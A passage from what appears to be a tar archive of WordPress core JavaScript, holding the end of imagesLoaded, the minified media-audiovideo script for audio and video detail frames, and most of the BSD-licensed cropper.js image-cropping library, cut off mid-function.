this.complete()},o.prototype.progress=function(e,t,i){this.progressedCount++,this.hasAnyBroken=this.hasAnyBroken||!e.isLoaded,this.emitEvent("progress",[this,e,t]),this.jqDeferred&&this.jqDeferred.notify&&this.jqDeferred.notify(this,e),this.progressedCount==this.images.length&&this.complete(),this.options.debug&&a&&a.log("progress: "+i,e,t)},o.prototype.complete=function(){var e=this.hasAnyBroken?"fail":"done";if(this.isComplete=!0,this.emitEvent(e,[this]),this.emitEvent("always",[this]),this.jqDeferred){var t=this.hasAnyBroken?"reject":"resolve";this.jqDeferred[t](this)}},r.prototype=Object.create(t.prototype),r.prototype.check=function(){var e=this.getIsImageComplete();return e?void this.confirm(0!==this.img.naturalWidth,"naturalWidth"):(this.proxyImage=new Image,this.proxyImage.addEventListener("load",this),this.proxyImage.addEventListener("error",this),this.img.addEventListener("load",this),this.img.addEventListener("error",this),void(this.proxyImage.src=this.img.src))},r.prototype.getIsImageComplete=function(){return this.img.complete&&this.img.naturalWidth},r.prototype.confirm=function(e,t){this.isLoaded=e,this.emitEvent("progress",[this,this.img,t])},r.prototype.handleEvent=function(e){var t="on"+e.type;this[t]&&this[t](e)},r.prototype.onload=function(){this.confirm(!0,"onload"),this.unbindEvents()},r.prototype.onerror=function(){this.confirm(!1,"onerror"),this.unbindEvents()},r.prototype.unbindEvents=function(){this.proxyImage.removeEventListener("load",this),this.proxyImage.removeEventListener("error",this),this.img.removeEventListener("load",this),this.img.removeEventListener("error",this)},s.prototype=Object.create(r.prototype),s.prototype.check=function(){this.img.addEventListener("load",this),this.img.addEventListener("error",this),this.img.src=this.url;var e=this.getIsImageComplete();e&&(this.confirm(0!==this.img.naturalWidth,"naturalWidth"),this.unbindEvents())},s.prototype.unbindEvents=function(){this.img.removeEventListener("load",this),this.img.removeEventListener("error",this)},s.prototype.confirm=function(e,t){this.isLoaded=e,this.emitEvent("progress",[this,this.element,t])},o.makeJQueryPlugin=function(t){t=t||e.jQuery,t&&(h=t,h.fn.imagesLoaded=function(e,t){var i=new o(this,e,t);return i.jqDeferred.promise(h(this))})},o.makeJQueryPlugin(),o});���js/media-audiovideo.min.js��������������������������������������������������������������������������0000644�����������������00000027474�14717703502�0011531 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ !function(){var i={6045:function(e){var t=wp.media.controller.State,i=wp.media.view.l10n,i=t.extend({defaults:{id:"audio-details",toolbar:"audio-details",title:i.audioDetailsTitle,content:"audio-details",menu:"audio-details",router:!1,priority:60},initialize:function(e){this.media=e.media,t.prototype.initialize.apply(this,arguments)}});e.exports=i},580:function(e){var t=wp.media.controller.State,i=wp.media.view.l10n,i=t.extend({defaults:{id:"video-details",toolbar:"video-details",title:i.videoDetailsTitle,content:"video-details",menu:"video-details",router:!1,priority:60},initialize:function(e){this.media=e.media,t.prototype.initialize.apply(this,arguments)}});e.exports=i},6615:function(e){var t=Backbone.Model.extend({initialize:function(){this.attachment=!1},setSource:function(e){this.attachment=e,this.extension=e.get("filename").split(".").pop(),this.get("src")&&this.extension===this.get("src").split(".").pop()&&this.unset("src"),_.contains(wp.media.view.settings.embedExts,this.extension)?this.set(this.extension,this.attachment.get("url")):this.unset(this.extension)},changeAttachment:function(e){this.setSource(e),this.unset("src"),_.each(_.without(wp.media.view.settings.embedExts,this.extension),function(e){this.unset(e)},this)}});e.exports=t},1764:function(e){var t=wp.media.view.MediaDetails,i=t.extend({className:"audio-details",template:wp.template("audio-details"),setMedia:function(){var e=this.$(".wp-audio-shortcode");return e.find("source").length?(e.is(":hidden")&&e.show(),this.media=t.prepareSrc(e.get(0))):(e.hide(),this.media=!1),this}});e.exports=i},5262:function(e){var t=wp.media.view.MediaFrame.MediaDetails,i=wp.media.controller.MediaLibrary,a=wp.media.view.l10n,s=t.extend({defaults:{id:"audio",url:"",menu:"audio-details",content:"audio-details",toolbar:"audio-details",type:"link",title:a.audioDetailsTitle,priority:120},initialize:function(e){e.DetailsView=wp.media.view.AudioDetails,e.cancelText=a.audioDetailsCancel,e.addText=a.audioAddSourceTitle,t.prototype.initialize.call(this,e)},bindHandlers:function(){t.prototype.bindHandlers.apply(this,arguments),this.on("toolbar:render:replace-audio",this.renderReplaceToolbar,this),this.on("toolbar:render:add-audio-source",this.renderAddSourceToolbar,this)},createStates:function(){this.states.add([new wp.media.controller.AudioDetails({media:this.media}),new i({type:"audio",id:"replace-audio",title:a.audioReplaceTitle,toolbar:"replace-audio",media:this.media,menu:"audio-details"}),new i({type:"audio",id:"add-audio-source",title:a.audioAddSourceTitle,toolbar:"add-audio-source",media:this.media,menu:!1})])}});e.exports=s},6445:function(e){var t=wp.media.view.MediaFrame.Select,i=wp.media.view.l10n,a=t.extend({defaults:{id:"media",url:"",menu:"media-details",content:"media-details",toolbar:"media-details",type:"link",priority:120},initialize:function(e){this.DetailsView=e.DetailsView,this.cancelText=e.cancelText,this.addText=e.addText,this.media=new wp.media.model.PostMedia(e.metadata),this.options.selection=new wp.media.model.Selection(this.media.attachment,{multiple:!1}),t.prototype.initialize.apply(this,arguments)},bindHandlers:function(){var e=this.defaults.menu;t.prototype.bindHandlers.apply(this,arguments),this.on("menu:create:"+e,this.createMenu,this),this.on("content:render:"+e,this.renderDetailsContent,this),this.on("menu:render:"+e,this.renderMenu,this),this.on("toolbar:render:"+e,this.renderDetailsToolbar,this)},renderDetailsContent:function(){var e=new this.DetailsView({controller:this,model:this.state().media,attachment:this.state().media.attachment}).render();this.content.set(e)},renderMenu:function(e){var t=this.lastState(),i=t&&t.id,a=this;e.set({cancel:{text:this.cancelText,priority:20,click:function(){i?a.setState(i):a.close()}},separateCancel:new wp.media.View({className:"separator",priority:40})})},setPrimaryButton:function(e,t){this.toolbar.set(new wp.media.view.Toolbar({controller:this,items:{button:{style:"primary",text:e,priority:80,click:function(){var e=this.controller;t.call(this,e,e.state()),e.setState(e.options.state),e.reset()}}}}))},renderDetailsToolbar:function(){this.setPrimaryButton(i.update,function(e,t){e.close(),t.trigger("update",e.media.toJSON())})},renderReplaceToolbar:function(){this.setPrimaryButton(i.replace,function(e,t){var i=t.get("selection").single();e.media.changeAttachment(i),t.trigger("replace",e.media.toJSON())})},renderAddSourceToolbar:function(){this.setPrimaryButton(this.addText,function(e,t){var i=t.get("selection").single();e.media.setSource(i),t.trigger("add-source",e.media.toJSON())})}});e.exports=a},2075:function(e){var t=wp.media.view.MediaFrame.MediaDetails,i=wp.media.controller.MediaLibrary,a=wp.media.view.l10n,s=t.extend({defaults:{id:"video",url:"",menu:"video-details",content:"video-details",toolbar:"video-details",type:"link",title:a.videoDetailsTitle,priority:120},initialize:function(e){e.DetailsView=wp.media.view.VideoDetails,e.cancelText=a.videoDetailsCancel,e.addText=a.videoAddSourceTitle,t.prototype.initialize.call(this,e)},bindHandlers:function(){t.prototype.bindHandlers.apply(this,arguments),this.on("toolbar:render:replace-video",this.renderReplaceToolbar,this),this.on("toolbar:render:add-video-source",this.renderAddSourceToolbar,this),this.on("toolbar:render:select-poster-image",this.renderSelectPosterImageToolbar,this),this.on("toolbar:render:add-track",this.renderAddTrackToolbar,this)},createStates:function(){this.states.add([new wp.media.controller.VideoDetails({media:this.media}),new i({type:"video",id:"replace-video",title:a.videoReplaceTitle,toolbar:"replace-video",media:this.media,menu:"video-details"}),new i({type:"video",id:"add-video-source",title:a.videoAddSourceTitle,toolbar:"add-video-source",media:this.media,menu:!1}),new i({type:"image",id:"select-poster-image",title:a.videoSelectPosterImageTitle,toolbar:"select-poster-image",media:this.media,menu:"video-details"}),new i({type:"text",id:"add-track",title:a.videoAddTrackTitle,toolbar:"add-track",media:this.media,menu:"video-details"})])},renderSelectPosterImageToolbar:function(){this.setPrimaryButton(a.videoSelectPosterImageTitle,function(t,e){var i=[],a=e.get("selection").single();t.media.set("poster",a.get("url")),e.trigger("set-poster-image",t.media.toJSON()),_.each(wp.media.view.settings.embedExts,function(e){t.media.get(e)&&i.push(t.media.get(e))}),wp.ajax.send("set-attachment-thumbnail",{data:{urls:i,thumbnail_id:a.get("id")}})})},renderAddTrackToolbar:function(){this.setPrimaryButton(a.videoAddTrackTitle,function(e,t){var i=t.get("selection").single(),a=e.media.get("content");-1===a.indexOf(i.get("url"))&&(a+=['<track srclang="en" label="English" kind="subtitles" src="',i.get("url"),'" />'].join(""),e.media.set("content",a)),t.trigger("add-track",e.media.toJSON())})}});e.exports=s},8867:function(e){var t=wp.media.view.Settings.AttachmentDisplay,i=jQuery,a=t.extend({initialize:function(){_.bindAll(this,"success"),this.players=[],this.listenTo(this.controller.states,"close",wp.media.mixin.unsetPlayers),this.on("ready",this.setPlayer),this.on("media:setting:remove",wp.media.mixin.unsetPlayers,this),this.on("media:setting:remove",this.render),this.on("media:setting:remove",this.setPlayer),t.prototype.initialize.apply(this,arguments)},events:function(){return _.extend({"click .remove-setting":"removeSetting","change .content-track":"setTracks","click .remove-track":"setTracks","click .add-media-source":"addSource"},t.prototype.events)},prepare:function(){return _.defaults({model:this.model.toJSON()},this.options)},removeSetting:function(e){var e=i(e.currentTarget).parent(),t=e.find("input").data("setting");t&&(this.model.unset(t),this.trigger("media:setting:remove",this)),e.remove()},setTracks:function(){var t="";_.each(this.$(".content-track"),function(e){t+=i(e).val()}),this.model.set("content",t),this.trigger("media:setting:remove",this)},addSource:function(e){this.controller.lastMime=i(e.currentTarget).data("mime"),this.controller.setState("add-"+this.controller.defaults.id+"-source")},loadPlayer:function(){this.players.push(new MediaElementPlayer(this.media,this.settings)),this.scriptXhr=!1},setPlayer:function(){var e;this.players.length||!this.media||this.scriptXhr||((e=this.model.get("src"))&&-1<e.indexOf("vimeo")&&!("Vimeo"in window)?this.scriptXhr=i.getScript("https://player.vimeo.com/api/player.js",_.bind(this.loadPlayer,this)):this.loadPlayer())},setMedia:function(){return this},success:function(e){var t=e.attributes.autoplay&&"false"!==e.attributes.autoplay;"flash"===e.pluginType&&t&&e.addEventListener("canplay",function(){e.play()},!1),this.mejs=e},render:function(){return t.prototype.render.apply(this,arguments),setTimeout(_.bind(function(){this.scrollToTop()},this),10),this.settings=_.defaults({success:this.success},wp.media.mixin.mejsSettings),this.setMedia()},scrollToTop:function(){this.$(".embed-media-settings").scrollTop(0)}},{instances:0,prepareSrc:function(e){var t=a.instances++;return _.each(i(e).find("source"),function(e){e.src=[e.src,-1<e.src.indexOf("?")?"&":"?","_=",t].join("")}),e}});e.exports=a},7697:function(e){var t=wp.media.view.MediaDetails,i=t.extend({className:"video-details",template:wp.template("video-details"),setMedia:function(){var e=this.$(".wp-video-shortcode");return e.find("source").length?(e.is(":hidden")&&e.show(),e.hasClass("youtube-video")||e.hasClass("vimeo-video")?this.media=e.get(0):this.media=t.prepareSrc(e.get(0))):(e.hide(),this.media=!1),this}});e.exports=i}},a={};function s(e){var t=a[e];if(void 0!==t)return t.exports;t=a[e]={exports:{}};return i[e](t,t.exports,s),t.exports}var e,t,o;e=wp.media,t=window._wpmejsSettings||{},o=window._wpMediaViewsL10n||{},wp.media.mixin={mejsSettings:t,removeAllPlayers:function(){if(window.mejs&&window.mejs.players)for(var e in window.mejs.players)window.mejs.players[e].pause(),this.removePlayer(window.mejs.players[e])},removePlayer:function(e){var t,i;if(e.options){for(t in e.options.features)if(e["clean"+(i=e.options.features[t])])try{e["clean"+i](e)}catch(e){}e.isDynamic||e.node.remove(),"html5"!==e.media.rendererName&&e.media.remove(),delete window.mejs.players[e.id],e.container.remove(),e.globalUnbind("resize",e.globalResizeCallback),e.globalUnbind("keydown",e.globalKeydownCallback),e.globalUnbind("click",e.globalClickCallback),delete e.media.player}},unsetPlayers:function(){this.players&&this.players.length&&(_.each(this.players,function(e){e.pause(),wp.media.mixin.removePlayer(e)}),this.players=[])}},wp.media.playlist=new wp.media.collection({tag:"playlist",editTitle:o.editPlaylistTitle,defaults:{id:wp.media.view.settings.post.id,style:"light",tracklist:!0,tracknumbers:!0,images:!0,artists:!0,type:"audio"}}),wp.media.audio={coerce:wp.media.coerce,defaults:{id:wp.media.view.settings.post.id,src:"",loop:!1,autoplay:!1,preload:"none",width:400},edit:function(e){e=wp.shortcode.next("audio",e).shortcode;return wp.media({frame:"audio",state:"audio-details",metadata:_.defaults(e.attrs.named,this.defaults)})},shortcode:function(i){var e;return _.each(this.defaults,function(e,t){i[t]=this.coerce(i,t),e===i[t]&&delete i[t]},this),e=i.content,delete i.content,new wp.shortcode({tag:"audio",attrs:i,content:e})}},wp.media.video={coerce:wp.media.coerce,defaults:{id:wp.media.view.settings.post.id,src:"",poster:"",loop:!1,autoplay:!1,preload:"metadata",content:"",width:640,height:360},edit:function(e){var e=wp.shortcode.next("video",e).shortcode,t=e.attrs.named;return t.content=e.content,wp.media({frame:"video",state:"video-details",metadata:_.defaults(t,this.defaults)})},shortcode:function(i){var e;return _.each(this.defaults,function(e,t){i[t]=this.coerce(i,t),e===i[t]&&delete i[t]},this),e=i.content,delete i.content,new wp.shortcode({tag:"video",attrs:i,content:e})}},e.model.PostMedia=s(6615),e.controller.AudioDetails=s(6045),e.controller.VideoDetails=s(580),e.view.MediaFrame.MediaDetails=s(6445),e.view.MediaFrame.AudioDetails=s(5262),e.view.MediaFrame.VideoDetails=s(2075),e.view.MediaDetails=s(8867),e.view.AudioDetails=s(1764),e.view.VideoDetails=s(7697)}();����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/crop/cropper.js����������������������������������������������������������������������������������0000644�����������������00000040145�14717703502�0010145 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * Copyright (c) 2006, David Spurr (http://www.defusion.org.uk/) * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * * Neither the name of the David Spurr nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * http://www.opensource.org/licenses/bsd-license.php * * See scriptaculous.js for full scriptaculous licence */ var CropDraggable=Class.create(); Object.extend(Object.extend(CropDraggable.prototype,Draggable.prototype),{initialize:function(_1){ this.options=Object.extend({drawMethod:function(){ }},arguments[1]||{}); this.element=$(_1); this.handle=this.element; this.delta=this.currentDelta(); this.dragging=false; this.eventMouseDown=this.initDrag.bindAsEventListener(this); Event.observe(this.handle,"mousedown",this.eventMouseDown); Draggables.register(this); },draw:function(_2){ var _3=Position.cumulativeOffset(this.element); var d=this.currentDelta(); _3[0]-=d[0]; _3[1]-=d[1]; var p=[0,1].map(function(i){ return (_2[i]-_3[i]-this.offset[i]); }.bind(this)); this.options.drawMethod(p); }}); var Cropper={}; Cropper.Img=Class.create(); Cropper.Img.prototype={initialize:function(_7,_8){ this.options=Object.extend({ratioDim:{x:0,y:0},minWidth:0,minHeight:0,displayOnInit:false,onEndCrop:Prototype.emptyFunction,captureKeys:true},_8||{}); if(this.options.minWidth>0&&this.options.minHeight>0){ this.options.ratioDim.x=this.options.minWidth; this.options.ratioDim.y=this.options.minHeight; } this.img=$(_7); this.clickCoords={x:0,y:0}; this.dragging=false; this.resizing=false; this.isWebKit=/Konqueror|Safari|KHTML/.test(navigator.userAgent); this.isIE=/MSIE/.test(navigator.userAgent); this.isOpera8=/Opera\s[1-8]/.test(navigator.userAgent); this.ratioX=0; this.ratioY=0; this.attached=false; $A(document.getElementsByTagName("script")).each(function(s){ if(s.src.match(/cropper\.js/)){ var _a=s.src.replace(/cropper\.js(.*)?/,""); var _b=document.createElement("link"); _b.rel="stylesheet"; _b.type="text/css"; _b.href=_a+"cropper.css"; _b.media="screen"; document.getElementsByTagName("head")[0].appendChild(_b); } }); if(this.options.ratioDim.x>0&&this.options.ratioDim.y>0){ var _c=this.getGCD(this.options.ratioDim.x,this.options.ratioDim.y); this.ratioX=this.options.ratioDim.x/_c; this.ratioY=this.options.ratioDim.y/_c; } this.subInitialize(); if(this.img.complete||this.isWebKit){ this.onLoad(); }else{ Event.observe(this.img,"load",this.onLoad.bindAsEventListener(this)); } },getGCD:function(a,b){return 1; if(b==0){ return a; } return this.getGCD(b,a%b); },onLoad:function(){ var _f="imgCrop_"; var _10=this.img.parentNode; var _11=""; if(this.isOpera8){ _11=" opera8"; } this.imgWrap=Builder.node("div",{"class":_f+"wrap"+_11}); if(this.isIE){ this.north=Builder.node("div",{"class":_f+"overlay "+_f+"north"},[Builder.node("span")]); this.east=Builder.node("div",{"class":_f+"overlay "+_f+"east"},[Builder.node("span")]); this.south=Builder.node("div",{"class":_f+"overlay "+_f+"south"},[Builder.node("span")]); this.west=Builder.node("div",{"class":_f+"overlay "+_f+"west"},[Builder.node("span")]); var _12=[this.north,this.east,this.south,this.west]; }else{ this.overlay=Builder.node("div",{"class":_f+"overlay"}); var _12=[this.overlay]; } this.dragArea=Builder.node("div",{"class":_f+"dragArea"},_12); this.handleN=Builder.node("div",{"class":_f+"handle "+_f+"handleN"}); this.handleNE=Builder.node("div",{"class":_f+"handle "+_f+"handleNE"}); this.handleE=Builder.node("div",{"class":_f+"handle "+_f+"handleE"}); this.handleSE=Builder.node("div",{"class":_f+"handle "+_f+"handleSE"}); this.handleS=Builder.node("div",{"class":_f+"handle "+_f+"handleS"}); this.handleSW=Builder.node("div",{"class":_f+"handle "+_f+"handleSW"}); this.handleW=Builder.node("div",{"class":_f+"handle "+_f+"handleW"}); this.handleNW=Builder.node("div",{"class":_f+"handle "+_f+"handleNW"}); this.selArea=Builder.node("div",{"class":_f+"selArea"},[Builder.node("div",{"class":_f+"marqueeHoriz "+_f+"marqueeNorth"},[Builder.node("span")]),Builder.node("div",{"class":_f+"marqueeVert "+_f+"marqueeEast"},[Builder.node("span")]),Builder.node("div",{"class":_f+"marqueeHoriz "+_f+"marqueeSouth"},[Builder.node("span")]),Builder.node("div",{"class":_f+"marqueeVert "+_f+"marqueeWest"},[Builder.node("span")]),this.handleN,this.handleNE,this.handleE,this.handleSE,this.handleS,this.handleSW,this.handleW,this.handleNW,Builder.node("div",{"class":_f+"clickArea"})]); Element.setStyle($(this.selArea),{backgroundColor:"transparent",backgroundRepeat:"no-repeat",backgroundPosition:"0 0"}); this.imgWrap.appendChild(this.img); this.imgWrap.appendChild(this.dragArea); this.dragArea.appendChild(this.selArea); this.dragArea.appendChild(Builder.node("div",{"class":_f+"clickArea"})); _10.appendChild(this.imgWrap); Event.observe(this.dragArea,"mousedown",this.startDrag.bindAsEventListener(this)); Event.observe(document,"mousemove",this.onDrag.bindAsEventListener(this)); Event.observe(document,"mouseup",this.endCrop.bindAsEventListener(this)); var _13=[this.handleN,this.handleNE,this.handleE,this.handleSE,this.handleS,this.handleSW,this.handleW,this.handleNW]; for(var i=0;i<_13.length;i++){ Event.observe(_13[i],"mousedown",this.startResize.bindAsEventListener(this)); } if(this.options.captureKeys){ Event.observe(document,"keydown",this.handleKeys.bindAsEventListener(this)); } new CropDraggable(this.selArea,{drawMethod:this.moveArea.bindAsEventListener(this)}); this.setParams(); },setParams:function(){ this.imgW=this.img.width; this.imgH=this.img.height; if(!this.isIE){ Element.setStyle($(this.overlay),{width:this.imgW+"px",height:this.imgH+"px"}); Element.hide($(this.overlay)); Element.setStyle($(this.selArea),{backgroundImage:"url("+this.img.src+")"}); }else{ Element.setStyle($(this.north),{height:0}); Element.setStyle($(this.east),{width:0,height:0}); Element.setStyle($(this.south),{height:0}); Element.setStyle($(this.west),{width:0,height:0}); } Element.setStyle($(this.imgWrap),{"width":this.imgW+"px","height":this.imgH+"px"}); Element.hide($(this.selArea)); var _15=Position.positionedOffset(this.imgWrap); this.wrapOffsets={"top":_15[1],"left":_15[0]}; var _16={x1:0,y1:0,x2:0,y2:0}; this.setAreaCoords(_16); if(this.options.ratioDim.x>0&&this.options.ratioDim.y>0&&this.options.displayOnInit){ _16.x1=Math.ceil((this.imgW-this.options.ratioDim.x)/2); _16.y1=Math.ceil((this.imgH-this.options.ratioDim.y)/2); _16.x2=_16.x1+this.options.ratioDim.x; _16.y2=_16.y1+this.options.ratioDim.y; Element.show(this.selArea); this.drawArea(); this.endCrop(); } this.attached=true; },remove:function(){ this.attached=false; this.imgWrap.parentNode.insertBefore(this.img,this.imgWrap); this.imgWrap.parentNode.removeChild(this.imgWrap); Event.stopObserving(this.dragArea,"mousedown",this.startDrag.bindAsEventListener(this)); Event.stopObserving(document,"mousemove",this.onDrag.bindAsEventListener(this)); Event.stopObserving(document,"mouseup",this.endCrop.bindAsEventListener(this)); var _17=[this.handleN,this.handleNE,this.handleE,this.handleSE,this.handleS,this.handleSW,this.handleW,this.handleNW]; for(var i=0;i<_17.length;i++){ Event.stopObserving(_17[i],"mousedown",this.startResize.bindAsEventListener(this)); } if(this.options.captureKeys){ Event.stopObserving(document,"keydown",this.handleKeys.bindAsEventListener(this)); } },reset:function(){ if(!this.attached){ this.onLoad(); }else{ this.setParams(); } this.endCrop(); },handleKeys:function(e){ var dir={x:0,y:0}; if(!this.dragging){ switch(e.keyCode){ case (37): dir.x=-1; break; case (38): dir.y=-1; break; case (39): dir.x=1; break; case (40): dir.y=1; break; } if(dir.x!=0||dir.y!=0){ if(e.shiftKey){ dir.x*=10; dir.y*=10; } this.moveArea([this.areaCoords.x1+dir.x,this.areaCoords.y1+dir.y]); Event.stop(e); } } },calcW:function(){ return (this.areaCoords.x2-this.areaCoords.x1); },calcH:function(){ return (this.areaCoords.y2-this.areaCoords.y1); },moveArea:function(_1b){ this.setAreaCoords({x1:_1b[0],y1:_1b[1],x2:_1b[0]+this.calcW(),y2:_1b[1]+this.calcH()},true); this.drawArea(); },cloneCoords:function(_1c){ return {x1:_1c.x1,y1:_1c.y1,x2:_1c.x2,y2:_1c.y2}; },setAreaCoords:function(_1d,_1e,_1f,_20,_21){ var _22=typeof _1e!="undefined"?_1e:false; var _23=typeof _1f!="undefined"?_1f:false; if(_1e){ var _24=_1d.x2-_1d.x1; var _25=_1d.y2-_1d.y1; if(_1d.x1<0){ _1d.x1=0; _1d.x2=_24; } if(_1d.y1<0){ _1d.y1=0; _1d.y2=_25; } if(_1d.x2>this.imgW){ _1d.x2=this.imgW; _1d.x1=this.imgW-_24; } if(_1d.y2>this.imgH){ _1d.y2=this.imgH; _1d.y1=this.imgH-_25; } }else{ if(_1d.x1<0){ _1d.x1=0; } if(_1d.y1<0){ _1d.y1=0; } if(_1d.x2>this.imgW){ _1d.x2=this.imgW; } if(_1d.y2>this.imgH){ _1d.y2=this.imgH; } if(typeof (_20)!="undefined"){ if(this.ratioX>0){ this.applyRatio(_1d,{x:this.ratioX,y:this.ratioY},_20,_21); }else{ if(_23){ this.applyRatio(_1d,{x:1,y:1},_20,_21); } } var _26={a1:_1d.x1,a2:_1d.x2}; var _27={a1:_1d.y1,a2:_1d.y2}; var _28=this.options.minWidth; var _29=this.options.minHeight; if((_28==0||_29==0)&&_23){ if(_28>0){ _29=_28; }else{ if(_29>0){ _28=_29; } } } this.applyMinDimension(_26,_28,_20.x,{min:0,max:this.imgW}); this.applyMinDimension(_27,_29,_20.y,{min:0,max:this.imgH}); _1d={x1:_26.a1,y1:_27.a1,x2:_26.a2,y2:_27.a2}; } } this.areaCoords=_1d; },applyMinDimension:function(_2a,_2b,_2c,_2d){ if((_2a.a2-_2a.a1)<_2b){ if(_2c==1){ _2a.a2=_2a.a1+_2b; }else{ _2a.a1=_2a.a2-_2b; } if(_2a.a1<_2d.min){ _2a.a1=_2d.min; _2a.a2=_2b; }else{ if(_2a.a2>_2d.max){ _2a.a1=_2d.max-_2b; _2a.a2=_2d.max; } } } },applyRatio:function(_2e,_2f,_30,_31){ var _32; if(_31=="N"||_31=="S"){ _32=this.applyRatioToAxis({a1:_2e.y1,b1:_2e.x1,a2:_2e.y2,b2:_2e.x2},{a:_2f.y,b:_2f.x},{a:_30.y,b:_30.x},{min:0,max:this.imgW}); _2e.x1=_32.b1; _2e.y1=_32.a1; _2e.x2=_32.b2; _2e.y2=_32.a2; }else{ _32=this.applyRatioToAxis({a1:_2e.x1,b1:_2e.y1,a2:_2e.x2,b2:_2e.y2},{a:_2f.x,b:_2f.y},{a:_30.x,b:_30.y},{min:0,max:this.imgH}); _2e.x1=_32.a1; _2e.y1=_32.b1; _2e.x2=_32.a2; _2e.y2=_32.b2; } },applyRatioToAxis:function(_33,_34,_35,_36){ var _37=Object.extend(_33,{}); var _38=_37.a2-_37.a1; var _3a=Math.floor(_38*_34.b/_34.a); var _3b; var _3c; var _3d=null; if(_35.b==1){ _3b=_37.b1+_3a; if(_3b>_36.max){ _3b=_36.max; _3d=_3b-_37.b1; } _37.b2=_3b; }else{ _3b=_37.b2-_3a; if(_3b<_36.min){ _3b=_36.min; _3d=_3b+_37.b2; } _37.b1=_3b; } if(_3d!=null){ _3c=Math.floor(_3d*_34.a/_34.b); if(_35.a==1){ _37.a2=_37.a1+_3c; }else{ _37.a1=_37.a1=_37.a2-_3c; } } return _37; },drawArea:function(){ if(!this.isIE){ Element.show($(this.overlay)); } var _3e=this.calcW(); var _3f=this.calcH(); var _40=this.areaCoords.x2; var _41=this.areaCoords.y2; var _42=this.selArea.style; _42.left=this.areaCoords.x1+"px"; _42.top=this.areaCoords.y1+"px"; _42.width=_3e+"px"; _42.height=_3f+"px"; var _43=Math.ceil((_3e-6)/2)+"px"; var _44=Math.ceil((_3f-6)/2)+"px"; this.handleN.style.left=_43; this.handleE.style.top=_44; this.handleS.style.left=_43; this.handleW.style.top=_44; if(this.isIE){ this.north.style.height=this.areaCoords.y1+"px"; var _45=this.east.style; _45.top=this.areaCoords.y1+"px"; _45.height=_3f+"px"; _45.left=_40+"px"; _45.width=(this.img.width-_40)+"px"; var _46=this.south.style; _46.top=_41+"px"; _46.height=(this.img.height-_41)+"px"; var _47=this.west.style; _47.top=this.areaCoords.y1+"px"; _47.height=_3f+"px"; _47.width=this.areaCoords.x1+"px"; }else{ _42.backgroundPosition="-"+this.areaCoords.x1+"px "+"-"+this.areaCoords.y1+"px"; } this.subDrawArea(); this.forceReRender(); },forceReRender:function(){ if(this.isIE||this.isWebKit){ var n=document.createTextNode(" "); var d,el,fixEL,i; if(this.isIE){ fixEl=this.selArea; }else{ if(this.isWebKit){ fixEl=document.getElementsByClassName("imgCrop_marqueeSouth",this.imgWrap)[0]; d=Builder.node("div",""); d.style.visibility="hidden"; var _4a=["SE","S","SW"]; for(i=0;i<_4a.length;i++){ el=document.getElementsByClassName("imgCrop_handle"+_4a[i],this.selArea)[0]; if(el.childNodes.length){ el.removeChild(el.childNodes[0]); } el.appendChild(d); } } } fixEl.appendChild(n); fixEl.removeChild(n); } },startResize:function(e){ this.startCoords=this.cloneCoords(this.areaCoords); this.resizing=true; this.resizeHandle=Element.classNames(Event.element(e)).toString().replace(/([^N|NE|E|SE|S|SW|W|NW])+/,""); Event.stop(e); },startDrag:function(e){ Element.show(this.selArea); this.clickCoords=this.getCurPos(e); this.setAreaCoords({x1:this.clickCoords.x,y1:this.clickCoords.y,x2:this.clickCoords.x,y2:this.clickCoords.y}); this.dragging=true; this.onDrag(e); Event.stop(e); },getCurPos:function(e){ return curPos={x:Event.pointerX(e)-this.wrapOffsets.left,y:Event.pointerY(e)-this.wrapOffsets.top}; },onDrag:function(e){ var _4f=null; if(this.dragging||this.resizing){ var _50=this.getCurPos(e); var _51=this.cloneCoords(this.areaCoords); var _52={x:1,y:1}; } if(this.dragging){ if(_50.x<this.clickCoords.x){ _52.x=-1; } if(_50.y<this.clickCoords.y){ _52.y=-1; } this.transformCoords(_50.x,this.clickCoords.x,_51,"x"); this.transformCoords(_50.y,this.clickCoords.y,_51,"y"); }else{ if(this.resizing){ _4f=this.resizeHandle; if(_4f.match(/E/)){ this.transformCoords(_50.x,this.startCoords.x1,_51,"x"); if(_50.x<this.startCoords.x1){ _52.x=-1; } }else{ if(_4f.match(/W/)){ this.transformCoords(_50.x,this.startCoords.x2,_51,"x"); if(_50.x<this.startCoords.x2){ _52.x=-1; } } } if(_4f.match(/N/)){ this.transformCoords(_50.y,this.startCoords.y2,_51,"y"); if(_50.y<this.startCoords.y2){ _52.y=-1; } }else{ if(_4f.match(/S/)){ this.transformCoords(_50.y,this.startCoords.y1,_51,"y"); if(_50.y<this.startCoords.y1){ _52.y=-1; } } } } } if(this.dragging||this.resizing){ this.setAreaCoords(_51,false,e.shiftKey,_52,_4f); this.drawArea(); Event.stop(e); } },transformCoords:function(_53,_54,_55,_56){ var _57=new Array(); if(_53<_54){ _57[0]=_53; _57[1]=_54; }else{ _57[0]=_54; _57[1]=_53; } if(_56=="x"){ 